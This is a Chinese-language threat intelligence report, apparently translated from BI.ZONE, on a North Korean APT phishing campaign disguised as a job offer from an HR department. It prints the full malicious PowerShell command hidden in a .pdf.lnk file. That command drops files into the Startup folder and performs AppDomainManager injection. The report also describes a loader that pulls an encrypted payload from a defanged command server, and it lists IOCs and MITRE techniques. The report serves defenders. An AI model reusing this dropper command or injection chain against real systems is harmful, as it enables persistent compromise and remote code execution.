朝鲜APT组织Squid Werewolf伪装成招聘人员分发网络钓鱼电子邮件

主要发现
- 具有相关主题的有针对性的网络钓鱼电子邮件使攻击者能够迅速访问关键人员使用的系统内的数据。
- 威胁行为者越来越多地从 Microsoft Word 文档和 Microsoft Excel 电子表格转向包含可执行文件、脚本或快捷方式的档案。
- 间谍团伙正在选择更复杂的方法和工具。因此,建议使用 EDR 等高级威胁检测解决方案来降低风险。
活动
攻击将从一封网络钓鱼电子邮件开始,攻击者将其伪装成联合工业园区人力资源代表提供的工作机会。
威胁行为者发送的网络钓鱼电子邮件
附件包含一个受密码保护的文件Предложение о работе.zip
,密码在电子邮件中提供。ZIP 存档中包含一个 LNK 文件Предложение о работе.pdf.lnk
,一旦打开,就会执行以下命令:
powershell.exe -nop -c $t=$env:appdata+'\Microsoft\Windows\Start Menu\Programs\Startup';if(Get-ChildItem $env:temp -recurse 'Предложение о работе.pdf.lnk'){$k=New-Object IO.FileStream ($env:temp+'\'+((Get-ChildItem $env:temp -recurse 'Предложение о работе.pdf.lnk').Directory).Name+'\'+'Предложение о работе.pdf.lnk'),'Open','Read','ReadWrite'}else{$k=New-Object IO.FileStream 'Предложение о работе.pdf.lnk','Open','Read','ReadWrite'};$b=New-Object byte[](692604);$k.Seek(3001,[IO.SeekOrigin]::Begin);$k.Read($b,0,692604);$a=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64CharArray($b,0,$b.Length)) -split ':';copy 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe' ($t+'\d.exe');[IO.File]::<# mm #>WriteAllBytes($t+'\d.exe.config',[Convert]::FromBase64""String($a[0]));[IO.File]::<# mm #>WriteAllBytes($t+'\DomainManager.dll',[Convert]::FromBase64""String($a[1]));[IO.File]::<# mm #>WriteAllBytes($env:temp+'\mngs Attachement.pdf',[Convert]::FromBase64""String($a[2]));explorer ($env:temp+'\mngs Attachement.pdf');start ($t+'\d.exe')
此命令触发了以下序列:
- 打开文件
Предложение о работе.pdf.lnk
,从偏移量处读取 Base64 编码的数据并进行解码。然后,将生成的数据按 : 字符拆分,并再次使用 Base 算法进行解码。 - 将文件复制
%WINDOWS%\Microsoft.NET\Framework\v0.30319\dfsvc.exe
到%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\d.exe
以获得系统中的持久性。 - 将解码后的数据保存到以下文件中:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\d.exe.config
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\DomainManager.dll
%TEMP%\mngs Attachement.pdf
- 打开钓鱼文档
mngs Attachement.pdf
。 - 运行
d.exe
可执行文件。
Base64 编码的有效载荷
Предложение о работе.pdf.lnk
钓鱼文档
mngs Attachement.pdf
d.exe
(dfsvc.exe )可执行文件运行动态链接库(DLL)。
DomainManager.dll
该 d.exe
文件是一个 .NET 应用程序。当用户运行 .NET 应用程序时,公共语言运行时 (CLR) 会自动加载并分析其配置文件(在本例中为d.exe.config
)。
文件 d.exe.config
内容:
配置文件的部分 <runtime>
指定了用于加载自定义AppDomainManager
而不是默认 AppDomainManager 的 .NET CLR 运行时设置:
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
表示要用作 AppDomainManager 的类。InjectedDomainManager
意味着该类InjectedDomainManager
将由 CLR 从命名空间 DomainManager 加载。<appDomainManagerAssembly value="DomainManager" />
表示加载 AppDomainManager 的程序集 (DLL)。在我们的例子中,这是一个与d.exe
可执行文件位于同一目录中的 DLL 文件。
DomainManager.dll
是一个基于 C# 的加载器,经过了混淆处理,可能使用了 Obfuscar。
加载程序字符串存储在双重异或加密的字节数组中,其中包含数组中的字符索引和 0xAA
密钥。
入口点位于InitializeNewDomain
类的方法中InjectedDomainManager
。
下面是一个代码示例:
加载器可以执行以下操作:
- 通过调用 检查互联网连接
https://www.timeapi[.]io/api/time/current/zone?timeZone=Europe%2FAmsterdam
。如果服务器响应包含“seconds”
字符串,则确认可以访问;否则,互联网不可用。 - 检查程序的运行时以阻止沙盒执行。为此,加载程序会捕获当前时间戳,休眠 10 分钟,然后更新时间戳并计算时间差。如果超过 9 分钟,加载程序会发送 GET 请求
hxxps://hwsrv-1253398.hostwindsdns[.]com/307c77ab-f41f-4dd4-a478-2a71b9625f64/c/discountcode.php
,然后终止。 - 如果所有检查都成功通过,加载程序将通过设置以下注册表项参数来禁用启动文件夹中的自动运行
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder]
::dll = 0x3
exe.config = 0x3
- 检查是否存在
%LOCALAPPDATA%\DomainManager.conf
。如果此文件存在,加载程序将读取使用 AES128 CBC 加密的恶意负载,解密并在内存中执行。如果%LOCALAPPDATA%\DomainManager.conf
不存在,加载程序将向发送 GET 请求hxxps://hwsrv-1253398.hostwindsdns[.]com/307c77ab-f41f-4dd4-a478-2a71b9625f64/c/shoppingcart.php
。服务器响应使用 AES128 CBC 解密。它包含恶意负载,加载程序在内存中运行该负载。服务器负载保存到%LOCALAPPDATA%\DomainManager.conf
使用 AES128 CBC 加密的文件中。研究时该负载不可用。
BI.ZONE 威胁情报检测到的攻击与 Securonix团队描述的攻击非常相似,他们将其归咎于 APT37 集群(BI.ZONE 将其称为 Squid Werewolf)。
攻击者过去曾使用过类似的基于 C# 的库。但当时,有效载荷使用凯撒 (shift) 密码解密,并包含混淆的 JavaScript 代码。有效载荷包含另一个加载器,该加载器将受害者的计算机名称发送到服务器,然后加载并执行 PowerShell 脚本,其中包含 VeilShell 远程访问木马。
IOCS
20dd93441c5e78b7adc7764c92719bed70ddb0676f707df7ea9f37d7969f4776
49a2ed08930ed20cbf859ca2fe3113e64f7a305c7a03cbda284fcceb781d053b
0601426a6da40ec9b47bab54e4ec149ba69ee58f787eea0e32d1001cab1abd04
hwsrv-1253398.hostwindsdns[.]com
MITRE 攻击和 CK
策略 | 技术 | 程序 |
---|---|---|
初始访问 | 网络钓鱼:鱼叉式网络钓鱼附件 | Squid Werewolf 使用钓鱼电子邮件附件传播恶意软件 |
执行 | 命令和脚本解释器:PowerShell | Squid Werewolf 使用恶意 LNK 文件执行 PowerShell 命令powershell.exe -nop —c [command] |
用户执行:恶意文件 | 受害者必须执行恶意 LNK 文件才能启动系统入侵 | |
持久性 | 启动或登录自动启动执行:注册表运行键/启动文件夹 | Squid Werewolf 利用恶意 LNK 文件在启动文件夹中创建文件d.exe 、d.exe.config 和DomainManager.dll |
防御规避 | 反混淆/解码文件或信息 | Squid Werewolf 使用 PowerShell 脚本解码恶意 LNK 中的 Base64 编码负载,包含三个文件:d.exe.config 、DomainManager.dll 和 mngs Attachement.pdf 。<br><br>Squid Werewolf 使用.NET 加载器解密使用 AES128 CBC 加密的有效载荷文件DomainManager.conf 。<br><br>Squid Werewolf 使用 .NET 加载器解密双重 XOR 加密字符串 |
劫持执行流程:AppDomainManager | Squid Werewolf 利用 AppDomainManager 注入来运行 .NET 加载程序 | |
伪装:重命名系统实用程序 | Squid Werewolf 使用恶意 LNK 文件复制并重命名 .NET 相关进程dfsvc.exe |
|
伪装:双重文件扩展名 | .pdf.lnk Squid Werewolf在 LNK 名称中使用双扩展名 |
|
修改注册表 | Squid Werewolf 使用 .NET 加载程序修改注册表项的参数[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder] ,从而禁用启动文件夹中的自动运行 |
|
模糊文件或信息 | Squid Werewolf 使用 Obfuscar 来混淆 .NET 加载器。<br><br>Squid Werewolf 使用双重 XOR 加密 .NET 加载程序中的字符串 | |
混淆的文件或信息:嵌入式有效负载 | Squid Werewolf 使用带有 Base64 编码负载的恶意 LNK 文件,该负载包含三个文件:d.exe.config 、DomainManager.dll 和 mngs Attachement.pdf |
|
混淆的文件或信息:命令混淆 | Squid Werewolf 在恶意 LNK 文件中使用混淆的 PowerShell 命令 | |
模糊文件或信息:加密/编码文件 | DomainManager.conf Squid Werewolf使用 AES128 CBC 加密的有效载荷文件 |
|
虚拟化/沙盒逃避:基于时间的逃避 | Squid Werewolf 利用 .NET 有效负载中的 10 分钟延迟来检查程序的运行时 | |
发现 | 系统网络配置发现:Internet 连接发现 | Squid Werewolf 使用该 timeapi[.]io 服务允许加载程序检查互联网连接 |
指挥与控制 | 应用层协议:Web 协议 | Squid Werewolf 使用 HTTPS 加载加密的有效载荷文件DomainManager.conf |
入口工具转移 | Squid Werewolf 使用 .NET 加载程序从服务器下载恶意负载 |